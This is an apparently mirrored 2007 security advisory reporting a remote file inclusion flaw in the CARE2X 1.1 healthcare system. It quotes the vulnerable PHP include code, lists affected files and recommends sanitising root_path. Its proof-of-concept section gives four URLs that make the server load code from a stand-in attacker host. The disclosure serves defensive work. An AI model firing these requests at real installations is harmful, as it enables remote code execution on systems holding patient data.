what you don't know can hurt you

Echo Security Advisory 2007.72

Echo Security Advisory 2007.72
Posted Mar 14, 2007
Authored by Echo Security, Dedi Dwianto | Site advisories.echo.or.id

CARE2X version 1.1 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, file inclusion
MD5 | 96440d59386266eb5ccacec41b1ce6fd

Echo Security Advisory 2007.72

Change Mirror Download
____________________   ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/ .OR.ID
ECHO_ADV_72$2007

-------------------------------------------------------------------------
[ECHO_ADV_72$2007] CARE2X (root_path) Remote File Inclusion Vulnerability
-------------------------- ----------------------------------------------

Author : Dedi Dwianto a.k.a the_day
Date Found : March, 13th 2007
Location : Indonesia, Jakarta
web : http://advisories.echo.or.id/adv/adv72-theday-2007.txt
Critical Lvl : Highly critical
Impact : System access
Where : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : CARE2X
version : 1.1
URL : http://www.care2x.org

Care2x integrates data, functions and workflows in a healthcare environment.
It is currently composed of four major components.
Each of these components can also function individually.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~

- Invalid include_once function at include/inc_checkdate_lang.php
-----------------------include/inc_checkdate_lang.php------------

<?
if(file_exists($root_path."language/$lang/lang_".$lang."_checkdate.php")) include_once($root_path."language/$lang/lang_".$lang."_checkdate.php");
else include_once($root_path."language/en/lang_en_checkdate.php");
if(file_exists($root_path."language/$lang/lang_".$lang."_date_time.php")) include_once($root_path."language/$lang/lang_".$lang."_date_time.php");
else include_once($root_path."language/en/lang_en_date_time.php");
?>

----------------------------------------------------------

Input passed to the "$root_path" parameter in inc_checkdate_lang.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.

also affected files :

include/inc_charset_fx.php
include/inc_config_color.php
include/inc_currency_set.php
include/inc_db_makelink.php
include/inc_diagnostics_report_fx.php
include/inc_environment_global.php
include/inc_front_chain_lang.php
include/inc_init_crypt.php
include/inc_load_copyrite.php
include/inc_news_save.php
main/barcode-labels.php
main/chg-color.php
main/config_options_gui_template.php
main/config_options_mascot.php
main/diagnostics-report-index.php


and More ....



Proof Of Concept:
~~~~~~~~~~~~~~

http://localhost/care2x/include/inc_checkdate_lang.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/include/inc_news_save.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/diagnostics-report-index.php?root_path=http://atacker.com/inject.txt?
http://localhost/care2x/main/config_options_mascot.php?root_path=http://atacker.com/inject.txt?



Solution:
~~~~~~

- Sanitize variable $root_path affected files.
- Turn off register_globals

---------------------------------------------------------------------------

Shoutz:
~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy Nice Girl
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com
~ #aikmel - #e-c-h-o @irc.dal.net
------------------------------------------------------------------------
---
Contact:
~~~
EcHo Research & Development Center
http://advisories.echo.or.id
erdc[at]echo[dot]or[dot]id
the_day[at]echo[dot]or[dot]id

-------------------------------- [ EOF ]----------------------------------
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